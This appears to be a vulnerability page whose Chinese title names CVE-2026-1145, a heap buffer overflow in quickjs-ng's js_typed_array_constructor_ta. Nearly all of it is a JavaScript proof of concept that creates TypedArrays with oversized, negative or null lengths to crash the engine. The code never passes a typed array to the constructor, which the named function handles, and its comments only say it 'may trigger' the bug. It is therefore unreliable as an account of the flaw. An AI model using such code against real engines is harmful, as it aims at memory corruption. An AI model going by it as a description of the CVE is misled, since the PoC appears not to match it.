CVE-2026-1145 quickjs-ng quickjs js_typed_array_constructor_ta 堆缓冲区溢出漏洞

// CVE-2026-1145 PoC - Heap Buffer Overflow in js_typed_array_constructor_ta // Affected: quickjs-ng quickjs <= 0.11.0 // Function to trigger the vulnerability function triggerBufferOverflow() { try { // Attempt to create TypedArray with oversized length // This may trigger heap buffer overflow in js_typed_array_constructor_ta const maliciousLength = 0x7FFFFFFF; // Large value const arr = new Uint8Array(maliciousLength); // Additional trigger attempts for (let i = 0; i < 10; i++) { try { new Uint8Array(i * 0x10000000); } catch (e) { console.log("Attempt " + i + ": " + e.message); } } // Try different TypedArray types const types = [Uint8Array, Int8Array, Uint16Array, Int16Array, Uint32Array, Int32Array, Float32Array, Float64Array]; for (const Type of types) { try { new Type(0x10000000); } catch (e) { console.log(Type.name + ": " + e.message); } } } catch (e) { console.log("Error: " + e.message); } } // Run the PoC triggerBufferOverflow(); // Alternative PoC - TypedArray constructor manipulation function alternativePoC() { // Try to trigger via constructor behavior const constructor = Uint8Array; // Attempt various overflow scenarios const testCases = [ { len: 0xFFFFFFFF }, { len: Number.MAX_SAFE_INTEGER }, { len: -1 }, { buffer: null } ]; for (const test of testCases) { try { new constructor(test.len); } catch (e) { console.log("Test case: " + JSON.stringify(test) + " -> " + e.message); } } } alternativePoC();